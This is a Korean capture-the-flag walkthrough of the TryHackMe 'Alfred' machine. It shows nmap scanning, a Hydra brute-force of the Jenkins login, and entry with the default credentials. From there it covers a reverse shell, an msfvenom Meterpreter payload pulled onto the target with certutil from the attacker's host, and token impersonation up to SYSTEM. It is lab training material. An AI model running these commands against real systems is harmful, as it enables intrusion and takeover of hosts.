상세 컨텐츠

본문 제목

[TryHackMe] Alfred

Penetration/TryHackMe

by obscurity_ 2024. 9. 25. 06:26

본문

https://tryhackme.com/r/room/alfred

 

TryHackMe | Cyber Security Training

TryHackMe is a free online platform for learning cyber security, using hands-on exercises and labs, all through your browser!

tryhackme.com

 

 

안녕하세요.

오늘은 TryHackMe의 Alfred 머신을 풀어보겠습니다.

 

┌──(root㉿kali)-[~/hack/LAB/alfred]
└─# nmap --open -p- --max-retries 1 --min-rate 4000 -Pn 10.10.97.121    
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-25 05:12 KST
Nmap scan report for 10.10.97.121
Host is up (0.28s latency).
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
80/tcp   open  http
3389/tcp open  ms-wbt-server
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 33.34 seconds

 

저는 서버에 대해서 전체 포트스캐닝을 먼저 해줬습니다.

그 결과 3개의 포트가 열려있다는 것을 확인했네요

이제 3가지 포트에 대해서 조금 더 자세한 스캐닝을 시도해야겠죠

제가 사용한 옵션은 -O -sV -Pn 입니다.

-O는 대상의 OS를 파악하는데 사용되고 -sV는 버전, -Pn은 스캔 속도의 향상입니다.

 

┌──(root㉿kali)-[~/hack/LAB/alfred]
└─# nmap -sV -Pn -O -p 3389,8080 10.10.97.121                        
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-25 05:13 KST
Nmap scan report for 10.10.97.121
Host is up (0.28s latency).

PORT     STATE SERVICE    VERSION
3389/tcp open  tcpwrapped
8080/tcp open  http       Jetty 9.4.z-SNAPSHOT
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone
Running (JUST GUESSING): Microsoft Windows 2008|7|8.1|Phone (90%)
OS CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_8.1:r1 cpe:/o:microsoft:windows
Aggressive OS guesses: Microsoft Windows Server 2008 R2 SP1 (90%), Microsoft Windows Server 2008 R2 or Windows 8 (87%), Microsoft Windows Server 2008 (85%), Microsoft Windows 7 SP1 (85%), Microsoft Windows 8.1 Update 1 (85%), Microsoft Windows 8.1 R1 (85%), Microsoft Windows Phone 7.5 or 8.0 (85%)
No exact OS matches for host (test conditions non-ideal).

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.01 seconds

 

스캔 결과 대상 OS는 윈도우일 확률이 높다고 나오며 8080에서는 HTTP 프로토콜이 사용되고 있습니다.

 

 

80포트의 웹 서버에 접속해보니 어떠한 인물 사진이 나오고 있습니다.

웹 서버를 발견했을 때 제가 가장 먼저 하는 일은 웹 디렉토리 브루트포스입니다.

그 이후에 할 일은 웹 페이지의 소스를 통해서 취약한 점이 있는지 점검하는 것이죠.

하지만 80번 포트의 웹서버에는 어떠한 경로나 파일도 발견되지 않았습니다.

 

 

한편 8080포트의 웹서버에서는 Jenkins 로그인 페이지가 출력되고 있습니다.

Jenkins는 개발부터 배포까지 모든 것을 편리하게 관리해주는 소프트웨어로

개발자들이 많이 사용하는 서비스입니다.

 

이렇게 서비스나 소프트웨어의 커스텀 로그인창이 나올 경우에 가장 먼저 시도해볼 수 있는 것은

구글링을 통해서 Default Account가 존재하는지 확인하는 것입니다.

 

 

Jenkins 서비스에 대해서 파악해보니 admin:password라고 레드햇에서 알려줍니다.

하지만 이는 틀린 계정정보라고 합니다.

추가적으로 레드햇에서는 admin:password가 Jenkins의 기본 계정이라고 나오는데

이는 잘못된 정보입니다.

Jenkins에서는 초기 패스워드가 난독화되어서 사용자의 로컬파일에 저장되기 때문입니다.

https://www.geeksforgeeks.org/what-is-the-default-jenkins-password/

 

What Is The Default Jenkins Password? - GeeksforGeeks

A Computer Science portal for geeks. It contains well written, well thought and well explained computer science and programming articles, quizzes and practice/competitive programming/company interview Questions.

www.geeksforgeeks.org

 

위 문서에서 자세한 내용을 확인해보실 수 있습니다.

그러면 이제 저는 Jenkins 서비스에 대해서 브루트포스 공격을 해보겠습니다.

초기 계정의 경우 패스워드는 난독화된 문자이지만, 초기 계정은 admin이라는 것을 알기 때문이죠

 

저는 브루트포스에 Hydra 도구를 사용했습니다.

간단하고 가볍게 테스트용으로 사용하기 적합한 도구라고 생각합니다.

                                                                                                                                                                                                    05:24:31 [0/0]
┌──(root㉿kali)-[~/hack/LAB/alfred]                                                                      
└─# hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 8080 10.10.97.121 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=&Submit=Sign+in:Invalid" -vV -f
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
                                                                                                         
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-25 05:24:27                    
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://10.10.97.121:8080/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=&Submit=Sign+in:Invalid
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done                                               
[ATTEMPT] target 10.10.97.121 - login "admin" - pass "123456" - 1 of 14344399 [child 0] (0/0)            
[ATTEMPT] target 10.10.97.121 - login "admin" - pass "12345" - 2 of 14344399 [child 1] (0/0)             
[ATTEMPT] target 10.10.97.121 - login "admin" - pass "123456789" - 3 of 14344399 [child 2] (0/0)         
[ATTEMPT] target 10.10.97.121 - login "admin" - pass "password" - 4 of 14344399 [child 3] (0/0)

 

-vV 옵션을 사용해서 공격의 진행 상황을 모니터링 했으며 -f 옵션을 통해 일치하는 

패스워드를 찾으면 자동으로 중단되게끔 설정을 하고 기다립니다.

재밌는 점은 브루트포스 공격을 기다리며 심심해서 아무 패스워드나 치고 있었는데

admin:admin으로 접속에 성공했습니다...ㅋㅋㅋㅋ

2000개가 넘는 사전 공격을 진행중이었는데 등잔 밑이 어둡네요..

┌──(root㉿kali)-[~/hack/LAB/alfred]                 
└─# cat /usr/share/wordlists/rockyou.txt -n | grep 'admin'                                              
  3375  badminton                                                                                       
 14613  administrator  
 15915  administracion 
 19819  admin         
 41358  admin1

rockyou.txt 파일에 admin도 추가를 해야될 것 같습니다.

확인해보니 admin이라는 단어는 19000번째에 나오네요

 

 

 

이제 Jenkins의 Dashboard로 접속하는데 성공했습니다.

Jenkins와 같은 이런 웹페이지를 통해 관리자 콘솔을 관리하는 서비스,

CMS와 CI/CD 등은 보통 플러그인이나 콘솔을 통해서 초기침투나 권한상승 취약점을 찾을 수 있습니다.

하지만 저도 Jenkins는 처음이라서 구글에 아래와 같이 검색합니다.

 

구글에 검색하니 깃허브의 리버스쉘 획득 방법이 나와있는 것을 확인했습니다.

https://github.com/Brzozova/reverse-shell-via-Jenkins

 

GitHub - Brzozova/reverse-shell-via-Jenkins: Gain Windows initial shell using Jenkins.

Gain Windows initial shell using Jenkins. Contribute to Brzozova/reverse-shell-via-Jenkins development by creating an account on GitHub.

github.com

 

Jenkins에서 리버스 쉘을 획득하는 방법은 크게 2가지인데,

Script Console에서 입력하는 것과, 프로젝트 관리에서 Build에 입력한 후 빌딩을 시키는 방법입니다.

저는 Script console을 이용하여 리버스쉘을 획득했습니다.

 

┌──(root㉿kali)-[~/hack/LAB/alfred]
└─# nc -lvnp 8044
listening on [any] 8044 ...
connect to [10.11.106.160] from (UNKNOWN) [10.10.97.121] 49231
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Program Files (x86)\Jenkins>whoami
whoami
alfred\bruce

C:\Program Files (x86)\Jenkins>

 

이렇게 연결된 리버스쉘을 가지고 이대로 침투에 사용해도 좋지만,

저희는 조금 더 안정적인 쉘을 위해서 미터프리터 쉘로 업그레이드를 하겠습니다.

미터프리터 쉘 연결을 위해 msfvenom에서 리버스쉘 실행파일을 하나 만들어줍니다.

┌──(root㉿kali)-[~/hack/LAB/alfred]
└─# msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai lhost=10.11.106.160

 

위 명령으로 만들어준 파일을 파이썬 서버를 열어서 옮겨줍니다.

 

┌──(root㉿kali)-[~/hack/LAB/alfred]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
C:\Program Files (x86)\Jenkins>certutil -f -urlcache http://10.11.106.160/shell.exe shell.exe            
certutil -f -urlcache http://10.11.106.160/shell.exe shell.exe                                           
****  Online  ****                                                                                       
CertUtil: -URLCache command completed successfully.

 

연결된 쉘이 PowerShell이었다면 Invoke-WebRequest -uri -OutFile을 통해 가져올 수 있지만

현재 파워쉘이 아닌 cmd이기 때문에 certutil 명령을 사용해서 칼리의 파일을 가져옵니다.

 

다시 칼리로 돌아와서 metasploit을 실행시킨 후에 exploit/multi/handler 스크립트를 실행합니다.

그 이후 적절한 페이로드와 옵션을 설정해준 후 run을 한 뒤,

로컬에서 백도어 파일을 실행시키면 끝입니다.

 

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > options

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.97.121     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > run

[-] Handler failed to bind to 10.10.97.121:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444 
[*] Sending stage (176198 bytes) to 10.10.97.121
[*] Meterpreter session 1 opened (10.11.106.160:4444 -> 10.10.97.121:49245) at 2024-09-25 05:53:40 +0900

meterpreter >

 

로컬에서 msfvenom을 통해 만든 백도어를 실행하면 미터프리터 쉘 연결이 성공됩니다.

이제 미터프리터에서 쉘을 파워쉘로 업그레이드 하기 위해

깃허브에서 PowerUp.ps1 파일을 하나 가져옵니다.

 

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1

 

그 다음 미터프리터에서 아래의 명령을 입력해서 파워쉘을 실행시킵니다.

upload PowerUp.ps1 (저장 경로 입력)
load powershell
powershell_shell

 

쉘이 연결되자마자 가장 먼저 한 것은 어떤 권한이 사용 가능한지 체크한 것인데,

놀랍게도 여기서 권한상승 취약점으로 보이는 것을 바로 발견했습니다.

 

PS > whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                  Description                               State
=============================== ========================================= ========
SeIncreaseQuotaPrivilege        Adjust memory quotas for a process        Disabled
SeSecurityPrivilege             Manage auditing and security log          Disabled
SeTakeOwnershipPrivilege        Take ownership of files or other objects  Disabled
SeLoadDriverPrivilege           Load and unload device drivers            Disabled
SeSystemProfilePrivilege        Profile system performance                Disabled
SeSystemtimePrivilege           Change the system time                    Disabled
SeProfileSingleProcessPrivilege Profile single process                    Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority              Disabled
SeCreatePagefilePrivilege       Create a pagefile                         Disabled
SeBackupPrivilege               Back up files and directories             Disabled
SeRestorePrivilege              Restore files and directories             Disabled
SeShutdownPrivilege             Shut down the system                      Disabled
SeDebugPrivilege                Debug programs                            Enabled
SeSystemEnvironmentPrivilege    Modify firmware environment values        Disabled
SeChangeNotifyPrivilege         Bypass traverse checking                  Enabled
SeRemoteShutdownPrivilege       Force shutdown from a remote system       Disabled
SeUndockPrivilege               Remove computer from docking station      Disabled
SeManageVolumePrivilege         Perform volume maintenance tasks          Disabled
SeImpersonatePrivilege          Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege         Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege   Increase a process working set            Disabled
SeTimeZonePrivilege             Change the time zone                      Disabled
SeCreateSymbolicLinkPrivilege   Create symbolic links                     Disabled

 

현재 사용자가 사용할 수 있는 권한 중에선 SeImpersonatePrivilege가 있는데,

이 권한은 PrintSpoofer 스크립트를 통해서 권한상승 할 수 있는 취약점으로 알고있습니다.

 

먼저 현재 사용자의 플래그를 획득하기 위해 bruce 계정의 Desktop으로 이동하여 플래그를 읽어줍니다.

    Directory: C:\users\bruce\Desktop


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---        10/25/2019  11:22 PM         32 user.txt


PS > cat user.txt
79007a09481963edf2e1321abd9ae2a0

 

79007a09481963edf2e1321abd9ae2a0

 

이제 권한상승을 할 차례입니다.

https://github.com/dievus/printspoofer

위 깃허브에서 PrintSpoofer.exe를 통해서 권한상승을 할 수 있을 것이라 생각했는데,

이유는 모르겠지만 권한상승이 정상적으로 동작하지 않습니다.

정확한 원인은 모르겠지만 아마 OS에서 차단할 수 있다고도 생각은 됩니다.

그냥 정석대로 풀려고 보니 User Access Token을 이용하여 권한상승을 하라고 합니다.

 

meterpreter > use incognito
Loading extension incognito...Success.
meterpreter > list_tokens -g
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
\
BUILTIN\Administrators
BUILTIN\Users
NT AUTHORITY\Authenticated Users
NT AUTHORITY\NTLM Authentication
NT AUTHORITY\SERVICE
NT AUTHORITY\This Organization
NT SERVICE\AudioEndpointBuilder
NT SERVICE\CertPropSvc
NT SERVICE\CscService
NT SERVICE\iphlpsvc
NT SERVICE\LanmanServer
NT SERVICE\PcaSvc
NT SERVICE\Schedule
NT SERVICE\SENS
NT SERVICE\SessionEnv
NT SERVICE\TrkWks
NT SERVICE\UmRdpService
NT SERVICE\UxSms
NT SERVICE\Winmgmt
NT SERVICE\wuauserv

Impersonation Tokens Available
========================================
No tokens available

 

meterpreter 쉘로 돌아와서 use incognito를 사용한 뒤 list_tokens -g를 입력하여

사용할 수 있는 엑세스 토큰 정보를 확인합니다.

이후 관리자 권한을 획득하기 위해서 impersonate_token 명령을 통해 미터프리터에서 

토큰을 가장하여 사용자 권한을 얻을 수 있습니다.

meterpreter > impersonate_token "BUILTIN\Administrators"
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM

 

시스템 관리자 권한 획득에 성공한 모습입니다.

이제 루트 플래그를 확인해줍니다.

쉘로 접속하기 위해서 마이그레이션을 해줘야 하는데,

가장 안정적인 프로세스는 service.exe라고 합니다.

ps 명령을 하여 나온 service.exe의 PID에 마이그레이션을 해줍니다.

 

meterpreter > migrate 668
[*] Migrating from 2180 to 668...
[*] Migration completed successfully.
meterpreter > shell        
Process 2812 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

 

이제 루트 플래그를 확인해줍니다

 

C:\Windows\System32\config>more root.txt
more root.txt
dff0f748678f280250f25a45b8046b4a

 

dff0f748678f280250f25a45b8046b4a

 

'Penetration > TryHackMe' 카테고리의 다른 글

[TryHackMe] Daily Bugle  (2) 2024.09.26
[TryHackMe] Skynet  (2) 2024.09.26
[TryHackMe] Game Zone  (1) 2024.09.25
[TryHackMe] HackPark  (0) 2024.09.25
[TryHackMe] Vulnversity  (2) 2024.09.12

관련글 더보기